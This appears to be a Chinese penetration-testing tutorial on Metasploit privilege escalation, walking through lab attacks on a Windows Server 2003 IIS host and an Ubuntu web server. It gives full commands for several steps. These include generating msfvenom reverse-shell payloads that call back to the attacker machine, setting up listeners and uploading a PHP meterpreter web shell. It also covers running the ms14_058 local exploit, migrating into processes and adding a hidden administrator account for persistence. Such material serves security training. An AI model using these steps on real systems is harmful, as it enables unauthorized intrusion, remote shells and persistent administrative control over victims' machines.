Metasploit 是一个渗透框架,kali 内安装了,安装位置如下

/usr/share/metasploit-framework

选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化

主要作用:漏洞验证、漏洞利用、内网渗透等

MSF Windows提权

靶机:

  • Win server2003 + iis(已通过webshell拿到低权限用户)
  • IP:192.168.179.143

攻击机:

  • Kali Linux
  • IP:192.168.179.128

反弹shell

  1. 使用msf生成payload

    在Kali中输入命令进入msf

    msfconsole
    

    生成payload

    msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.179.128
     lport=12345 -f exe >/var/www/html/s.exe
    
    # lhost 是kali的ip
    # lport 是kali监听端口
    

    image-20211121174310606

    将刚才生成的 s.exe 文件上传到服务器(靶机)C:\RECYCLER\s.exe 目录(因为一般C:\RECYCLER\ 目录都有读写权限)

  2. kali 开启本地监听

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.179.128
    set lport 12345
    exploit
    

    使用命令可以查看配置情况

    show options
    

    image-20211122153809861

    image-20211121174518012

  3. 使用webshell执行上传的s.exe文件,发现缺少对象,在windows提权篇说过,这种情况需要上传一个版本匹配的cmd.exe文件到c:\recycler目录

    image-20211122160053783

    执行接收到反弹shell(截图端口有误应为12345)

    image-20211122154942523

    发现只是一个iis用户,需要进行提权操作

提权

Windows 提权 exp 存储文件夹路径

/usr/share/metasploit-framework# cd modules/exploits/windows/local/

常见的提权模块如下:

  1. ms14_058 内核模式驱动程序中的漏洞库能允许远程代码执行
  2. ms16_016 WebDAV 本地提权漏洞(CVE-2016-0051)
  3. ms16_032 MS16-032 Secondary Logon Handle 本地提权漏洞

常用提权命令

  1. sysinfo 查看系统命令
  2. migrate 注入进程
  3. getuid 获取当前用户
  4. getprivs 尽可能提升权限
  5. getsystem 通过各种攻击向量来提升系统用户权限

可以先使用 getsystem 来自动提权,如果失败再手动提权

基础命令

  1. ps 列出进程
  2. sessions 查看会话
  3. background 把session放置后台
  4. sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
  5. interact id #切换进一个信道
  6. back 返回主界面
  7. shell 得到终端
  8. search搜索模块
  9. show 列模块
  10. info 查看模块信息

接下来进行具体提权过程:

  1. 利用getuid命令查看已经获得的权限,可以看到现在的权限很低,是个user权限(或者进入shell 使用whoami命令查看)。尝试利用getsystem提权,失败

    image-20211122162152004

  2. 输入命令shell进入目标机CMD命令行,再利用systeminfo命令或者通过查询 c:\windows\ 里留下的补丁号.log来看看目标机大概打了哪些补丁

    使用 wesng工具查看缺失补丁或者使用以下两个网站

    安全焦点,其BugTraq是一个出色的漏洞和exploit数据源,可以通过CVE编号,或者产品信息漏洞直接搜索。网址:http://www.securityfocus.com/bid。
    Exploit-DB,取代了老牌安全网站milw0rm。不断更新大量的Exploit程序和报告,它的搜索功能可以搜索整个网站内容。网址:http://www.exploit-db.com。

    使用命令查找

    python .\wes.py -m .\systeminfo.txt
    

    image-20211122162704936

    发现很多补丁都没有打

  3. 输入命令background,就是把当前的metasploit shell转为后台执行

    使用命令搜索模块

    search ms14_058
    

    image-20211122163107938

    查看模块信息

    exploit/windows/local/ms14_058_track_popup_menu
    

    基础选项中看到需要设置一个session

    image-20211122163213958

    use exploit/windows/local/ms14_058_track_popup_menu
    

    image-20211122163307481

    设置session为刚才back的,使用sessions命令查看id

    image-20211122163405631

    设置session

    set SESSION 3
    

    image-20211122170050017

    提权成功

保持权限

使用ps命令列出进程

migrate pid 注入explorer 进程

增加超级管理员

net user ocean$ ocean123 /add 
net localground administrators ocean$ /add

在kali里面链接远程终端

rdesktop 192.168.179.128

END推荐阅读

MSF Windows提权 https://xz.aliyun.com/t/258

MSF命令 https://zhuanlan.zhihu.com/p/137061194

MSF Linux提权

方法和windows是一致的

靶机:

  • ubuntu14.04
  • IP:192.168.179.146

攻击机:

  • Kali Linux
  • IP:192.168.179.128

反弹shell

经过测试web中存在文件上传漏洞,然后上传了一句话木马,使用蚁剑链接成功

使用MSF生成payload

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.179.128 LPORT=12345 -f raw > /var/www/html/shell.php

开启监听

use exploit/multi/handler
set payload php/meterpreter_reverse_tcp 
set lhost 192.168.179.128
set lport 12345
exploit

再蚁剑上传shell.php到web目录再浏览器访问

http://192.168.179.146/upload/shell.php

kali接收到反弹的shell

image-20211122173830249

权限为www-data

image-20211122174755703

msf对于Linux提权方式不是很多,还是以手工提权为主

补充wesng用法

项目地址:https://github.com/bitsadmin/wesng

  1. 将wesng下载到本地主机上,先升级最新的漏洞数据库

    python wes.py --update
    

    image-20211119195337077

  2. 将目标机器的systeminfo命令的结果输出并保存,使用wesng进行检查

    python .\wes.py .\systeminfo.txt
    

    image-20211119195524788

    如果提示txt文件中有缺失,可以加参数指定系统版本

    -m .\systeminfo.txt --os "winserver 2008 r2"
    

    wesng也可以对数据进行过滤

    如果攻击者对可能导致远程代码执行的漏洞和/或仅具有可用漏洞利用代码的漏洞感兴趣,这将非常有用。为此,可以分别使用--impact "Remote Code Execution"(shorthand: -i) 和--exploits-only(shorthand: -e) 参数,使用--severity(简写:)-s参数可以仅列出具有特定严重性的结果

    支持使用--output(shorthand: -o) 参数将结果以 CSV 格式存储到磁盘
    Gif animation showing usage of Windows Exploit Suggester - Next Generation
    同样也有针对linux的工具

    https://github.com/mzet-/linux-exploit-suggester

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐